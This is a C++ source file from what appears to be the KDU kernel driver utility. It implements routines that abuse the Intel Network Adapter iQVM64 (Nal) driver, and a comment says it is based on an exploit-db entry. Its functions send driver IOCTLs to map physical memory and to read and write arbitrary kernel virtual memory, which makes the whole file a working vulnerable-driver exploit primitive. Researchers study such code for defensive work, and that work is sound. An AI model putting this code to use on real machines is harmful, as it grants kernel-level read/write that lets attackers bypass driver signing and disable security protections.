KDU/Source/Hamakaze/idrv/nal.cpp

386 lines
9.1 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020
*
* TITLE: NAL.CPP
*
* VERSION: 1.00
*
* DATE: 07 Jan 2020
*
* Intel Network Adapter iQVM64 driver routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "idrv/nal.h"
//
// Based on https://www.exploit-db.com/exploits/36392
//
/*
* NalCallDriver
*
* Purpose:
*
* Call Intel Nal driver.
*
*/
BOOL NalCallDriver(
_In_ HANDLE DeviceHandle,
_In_ PVOID Buffer,
_In_ ULONG Size)
{
BOOL bResult = FALSE;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IOCTL_NAL_MANAGE,
Buffer,
Size,
NULL,
0);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
/*
* NalMapAddressEx
*
* Purpose:
*
* Call MmMapIoSpace via Nal driver, return kernel mode virtual address.
*
*/
BOOL NalMapAddressEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_Out_ ULONG_PTR* VirtualAddress,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NAL_MAP_IO_SPACE request;
if (VirtualAddress)
*VirtualAddress = 0;
else
return FALSE;
RtlSecureZeroMemory(&request, sizeof(request));
request.Header.FunctionId = NAL_FUNCID_MAPIOSPACE;
request.PhysicalAddress = PhysicalAddress;
request.NumberOfBytes = NumberOfBytes;
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
if (request.OpResult == 0) {
*VirtualAddress = request.VirtualAddress;
bResult = TRUE;
}
else {
dwError = ERROR_INTERNAL_ERROR;
}
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalUnmapAddress
*
* Purpose:
*
* Call MmUnmapIoSpace via Nal driver.
*
*/
BOOL NalUnmapAddress(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NAL_UNMAP_IO_SPACE request;
RtlSecureZeroMemory(&request, sizeof(request));
request.Header.FunctionId = NAL_FUNCID_UNMAPIOSPACE;
request.VirtualAddress = VirtualAddress;
request.NumberOfBytes = NumberOfBytes;
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
bResult = (request.OpResult == 0);
if (bResult == FALSE)
dwError = ERROR_NONE_MAPPED;
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalVirtualToPhysical
*
* Purpose:
*
* Translate virtual address to the physical.
*
* N.B.
* Call driver Intel Nal driver MmGetVirtualForPhysical switch case.
*
*/
BOOL NalVirtualToPhysical(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_ ULONG_PTR* PhysicalAddress)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NAL_GET_PHYSICAL_ADDRESS request;
if (PhysicalAddress)
*PhysicalAddress = 0;
else {
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
RtlSecureZeroMemory(&request, sizeof(request));
request.Header.FunctionId = NAL_FUNCID_VIRTUALTOPHYSCAL;
request.VirtualAddress = VirtualAddress;
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
*PhysicalAddress = request.PhysicalAddress;
bResult = TRUE;
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalReadVirtualMemory
*
* Purpose:
*
* Read virtual memory via Nal memmove switch case.
*
*/
_Success_(return != FALSE)
BOOL NalReadVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NAL_MEMMOVE request;
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (lockedBuffer) {
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
RtlSecureZeroMemory(&request, sizeof(request));
request.Header.FunctionId = NAL_FUNCID_MEMMOVE;
request.SourceAddress = VirtualAddress;
request.DestinationAddress = (ULONG_PTR)lockedBuffer;
request.Length = NumberOfBytes;
bResult = NalCallDriver(DeviceHandle, &request, sizeof(request));
if (bResult) {
RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes);
}
else {
dwError = GetLastError();
}
VirtualUnlock(lockedBuffer, NumberOfBytes);
}
else {
dwError = GetLastError();
}
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalWriteVirtualMemory
*
* Purpose:
*
* Write virtual memory via Nal memmove switch case.
*
*/
_Success_(return != FALSE)
BOOL NalWriteVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NAL_MEMMOVE request;
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (lockedBuffer) {
RtlCopyMemory(lockedBuffer, Buffer, NumberOfBytes);
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
RtlSecureZeroMemory(&request, sizeof(request));
request.Header.FunctionId = NAL_FUNCID_MEMMOVE;
request.SourceAddress = (ULONG_PTR)lockedBuffer;
request.DestinationAddress = VirtualAddress;
request.Length = NumberOfBytes;
bResult = NalCallDriver(DeviceHandle, &request, sizeof(request));
if (bResult == FALSE) {
dwError = GetLastError();
}
VirtualUnlock(lockedBuffer, NumberOfBytes);
}
else {
dwError = GetLastError();
}
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalWriteVirtualMemory
*
* Purpose:
*
* Write to virtual memory via mapping.
*
*/
_Success_(return != FALSE)
BOOL NalWriteVirtualMemoryEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes
)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
ULONG_PTR physAddress, mappedVirt;
if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physAddress)) {
if (NalMapAddressEx(DeviceHandle, physAddress, &mappedVirt, NumberOfBytes)) {
bResult = NalWriteVirtualMemory(DeviceHandle, mappedVirt, Buffer, NumberOfBytes);
if (bResult == FALSE)
dwError = GetLastError();
NalUnmapAddress(DeviceHandle, mappedVirt, NumberOfBytes);
}
else {
dwError = GetLastError();
}
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* NalReadVirtualMemoryEx
*
* Purpose:
*
* Read virtual memory via mapping.
*
*/
_Success_(return != FALSE)
BOOL NalReadVirtualMemoryEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (lockedBuffer) {
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
ULONG_PTR physicalAddress, newVirt;
if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physicalAddress)) {
if (NalMapAddressEx(DeviceHandle, physicalAddress, &newVirt, NumberOfBytes)) {
bResult = NalReadVirtualMemory(DeviceHandle, newVirt, lockedBuffer, NumberOfBytes);
if (bResult) {
RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes);
}
else {
dwError = GetLastError();
}
NalUnmapAddress(DeviceHandle, newVirt, NumberOfBytes);
}
}
else {
dwError = GetLastError();
}
VirtualUnlock(lockedBuffer, NumberOfBytes);
}
else {
dwError = GetLastError();
}
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}